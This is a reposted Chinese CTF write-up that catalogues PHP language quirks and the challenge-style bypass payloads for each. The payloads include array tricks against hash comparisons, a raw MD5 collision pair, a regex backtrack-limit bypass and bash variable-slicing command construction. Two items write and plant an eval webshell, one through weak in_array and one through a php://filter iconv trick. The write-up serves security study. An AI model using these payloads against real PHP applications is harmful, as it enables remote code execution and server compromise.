PHP特性總結


PHP特性總結

來源: Tajang的大千世界

1、數組繞過正則表達式

if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
else(intval($num)){
        echo $flag;
    }

preg_match第二個參數要求是字符串,如果傳入數組則不會進入if語句

payload:num[]=1

2、intval函數的使用

intval( mixed $value, int $base = 10) : int

如果 base 是 0,通過檢測 value 的格式來決定使用的進制:
◦ 如果字符串包括了 “0x” (或 “0X”) 的前綴,使用 16 進制 (hex);否則,
◦ 如果字符串以 “0” 開始,使用 8 進制(octal);否則,
◦ 將使用 10 進制 (decimal)。

if($num==="4476"){
        die("no no no!");
    }
if(intval($num,0)===4476){
        echo $flag;
    }
else{
        echo intval($num,0);
    }

科學計數法也可以繞過

intval('4476.0')===4476    小數點  
intval('+4476.0')===4476   正負號
intval('4476e0')===4476    科學計數法
intval('0x117c')===4476    16進制
intval('010574')===4476    8進制
intval(' 010574')===4476   8進制+空格

payload:num=4476.0

3、正則表達式修飾符

if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

i 不區分(ignore)大小寫;m多(more)行匹配,若有換行符則以換行符分割,按行匹配

payload:%0aphp,第一行匹配換行后有php故通過,第二個不符合php開頭php結尾故不通過

4、highlight_file路徑

highlight_file的參數可以是路徑的

if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

if語句只比對字符串,highlight_file可以寫路徑,故payload有多種解法:

/var/www/html/flag.php              絕對路徑
./flag.php                          相對路徑
php://filter/resource=flag.php      php偽協議

5、md5比較缺陷

PHP中hash比較是存在缺陷的,MD5無法處理數組,如果傳入數組則返回NULL,兩個NULL是強相等的

if ($_POST['a'] != $_POST['b']){
    if (md5($_POST['a']) === md5($_POST['b'])){
        echo $flag;
    }
else{
    print 'Wrong.';
    }
}

不同數據強相等

payload:a[]=1&b[]=2

md5弱比較,使用了強制類型轉換后不再接收數組

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}

md5弱比較,為0e開頭的會被識別為科學記數法,結果均為0,所以只需找兩個md5后都為0e開頭且0e后面均為數字的值即可。

不同數據弱相等

payload: a=QNKCDZO&b=240610708

MD5等於自身,如md5($a)==$a,php弱比較會把0e開頭識別為科學計數法,結果均為0,所以此時需要找到一個MD5加密前后都是0e開頭的,如0e215962017

md5強碰撞

$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
這時候需要找到兩個真正的md5值相同數據

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

6、三目運算符的理解+變量覆蓋

$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

太經典了,我暈了

第一行,GET被設置,就可以用POST覆蓋GET的值。中間兩行意義不大,是flag就被COOKIE覆蓋,然后被SERVER覆蓋,不是flag被賦值flag然后條件成立也是被SERVER覆蓋。而且這個被覆蓋的GET沒有指定,任意都行,第四行才是關鍵,等於flag就輸出flag,不等於顯示源碼。所以只需要傳入一個任意的GET保證$_GET是被設置的。然后POST一個覆蓋它

payload:get:1=1 post:HTTP_FLAG=flag

7、php弱類型比較

經典

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

弱比較字符串1.php與1返回true。array_push這個函數往里填數字1,則是int類型,in_array使用的就是==弱比較。所以,如果數組里有數字1,與字符串1.php比較時是返回true的。注意,$array( 1 , ‘2’ , ‘3’ ),這里1是int型,2和3都是string類型。

這道題,每次生成隨機數都包含1,所以1在數組中的可能最大。

payload:n=1.php post:content=<?php eval($_POST[1]);?>多試幾次,然后蟻劍直接連

8、and與&&的區別

<?php
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

9、反射類ReflectionClass

反射類還不太懂,但做過題都是直接輸出這個類echo new ReflectionClass('類名');

10、is_numeric與hex2bin

​ is_numeric在PHP5中是可以識別十六進制的,hex2bin參數不能帶0x

11、sha1比較缺陷

sha1無法處理數組,如下可使用a[]=1&b[]=1數組繞過

if($a==$b){
    if(sha1($a)==sha1($b)){
        echo $flag;
    }
}

但MD5或者sha1這種如果強制類型轉換后,就不接受數組了,這個時候就要找真正的編碼后相同的了,如

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

12、PHP雙$($$)的變量覆蓋

在雙寫$的時候,屬於動態變量,就是后面的變量值作為新的變量名

$test="a23";    $test等於a23
$$test=456;        $$test也就等於$23,這里相當於給$a23賦值了
echo $test;        正常輸出$test為a23
echo $$test;    這里輸出$$test,就是$a23,為456
echo $a23;        第二行給$a23賦值了,這里正常輸出

13、parse_str函數的使用

parse_str會把字符串解析為變量,大部分是傳入的多個值

$a="q=123&p=456";
parse_str($a);
echo $q;                輸出123
echo $p;                輸出456
parse_str($a,$b);        第二個參數作為數組,解析的變量都存入這個數組中
echo $b['q'];            輸出123
echo $b['p'];            輸出456

php8版本必須要有第二個參數,php7不影響使用但會警告一下

14、ereg %00正則截斷

ereg PHP5.3廢棄了,功能可以由preg_match代替,ereg有個截斷漏洞,字符串里包括%00就只匹配%00之前的內容。所以可以前面根據正則改,后面是執行語句,如果有strrev() 這種字符串反轉函數配合用更好。

15、迭代器獲取當前目錄

FilesystemIterator可以獲得文件目錄,參數需要 . 或者具體路徑,getcwd()這個函數可以獲取當前文件路徑,二者在一定條件下配合使用較好

16、$GLOBALS全局變量的使用

$GLOBALS — 引用全局作用域中可用的全部變量
一個包含了全部變量的全局組合數組。變量的名字就是數組的鍵。

構造出var_dump($GLOBALS);可以輸出全部變量值,包括自定義

17、php偽協議繞過is_file highlight_file對於php偽協議的使用

is_file判斷給定文件名是否為一個正常的文件,返回值為布爾類型。is_file會認為php偽協議不是文件。但highlight_file認為偽協議可以是文件。

if(! is_file($file)){
    highlight_file($file);
}else{
    echo "hacker!";
}

如上的代碼,可以傳入php偽協議進行繞過並且顯示含有flag的文件。若有過濾,可以換其他偽協議或改編碼方式

18、多寫根目錄繞過is_file

在linux中/proc/self/root是指向根目錄的,也就是如果在命令行中輸入ls /proc/self/root,其實顯示的內容是根目錄下的內容
多次重復后繞過is_file的具體原理尚不清楚。如上面的代碼,也可以用下面payload代替

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

這個按理說也是文件的,但is_file認為不是

19、trim函數的繞過+is_numeric繞過

這兩個函數一起檢測時,is_numeric認為內容里有%09 %0a %0b %0c %0d %20也算數字,跟trim一起測試一下

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}

除了+-.號以外還有只剩下%0c也就是換頁符了,trim默認時沒有剔除%0c。形如以下代碼可以繞過

if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}

payload:num=%0c36

20、繞過死亡die

function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

這道看了羽師傅wp,過濾了許多協議,這是取一個 UCS-2LE UCS-2BE

payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?

這會將字符兩位兩位交換,file_put_contents在寫入的時候會破壞那句die,但contents那句恢復原貌,可以執行

21、通過內置bash命令構造命令

在許多命令被過濾時,可以一個字母一個字母得構造,而這些字母從內置變量里面截,比如構造nl,可以寫為下面這種方式

${PATH:14:1}${PATH:5:1}

在linux中可以用~獲取變量的最后幾位,也可以寫為${PATH:~0}${PWD:~0},字母與0作用一樣,${PATH:~A}${PWD:~A}也是nl,flag.php也過濾了的話可以用????.???,具體情況,具體對待

22、PHP變量名非法字符

比如傳入AA_BB.CC這個變量,PHP是不允許變量名中含有. 的,會默認將不合法字符替換為_,如下:

<?php 
var_dump($_POST);
?>         
傳值:AA.BB.CC=14
輸出:array(1) { ["AA_BB_CC"]=> string(2) "14" }

但輸入AA[BB.CC它就只替換 [ 輸出 array(1) { [“AA_BB.CC”]=> string(2) “14” }

23、gettext拓展的使用

var_dump(call_user_func($f1,$f2));

如以上代碼,多重過濾后,f1可以為gettext,f2可以為phpinfo,如果過濾更為嚴格,更改ini文件里的拓展后, _() 等效於 gettext()

<?php
echo gettext("phpinfo");
結果  phpinfo

echo _("phpinfo");
結果 phpinfo

24、正則最大回溯次數繞過

PHP 為了防止正則表達式的拒絕服務攻擊(reDOS),給 pcre 設定了一個回溯次數上限 pcre.backtrack_limit
回溯次數上限默認是 100 萬。如果回溯次數超過了 100 萬,preg_match 將不再返回非 1 和 0,而是 false。

也就是說前面100萬個字母,后面是語句就好,如下面的例子

if(preg_match('/.+?ABC/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ABC') === FALSE){
        die('bye!!');
    }
    echo $flag;

前面100萬個字母后面ABC就可以echo $flag

25、調用類中的函數

->用於動態語境處理某個類的某個實例
::可以調用一個靜態的、不依賴於其他初始化的類方法

也就是說雙冒號不用實例化類就可以調用類中的靜態方法

class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
call_user_func($_POST['ctfshow']);

這個傳入ctfshow=ctfshow::getFlag即可

26、return繞過

eval("return 1;phpinfo();");會發現是無法執行phpinfo()的,但是php中有個有意思的地方,數字是可以和命令進行一些運算的,例如 1-phpinfo();是可以執行phpinfo()命令的。

來源: Tajang的大千世界
文章作者: Tajang
文章鏈接: https://ctfking.com/2021/07/14/php-te-xing-zong-jie/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM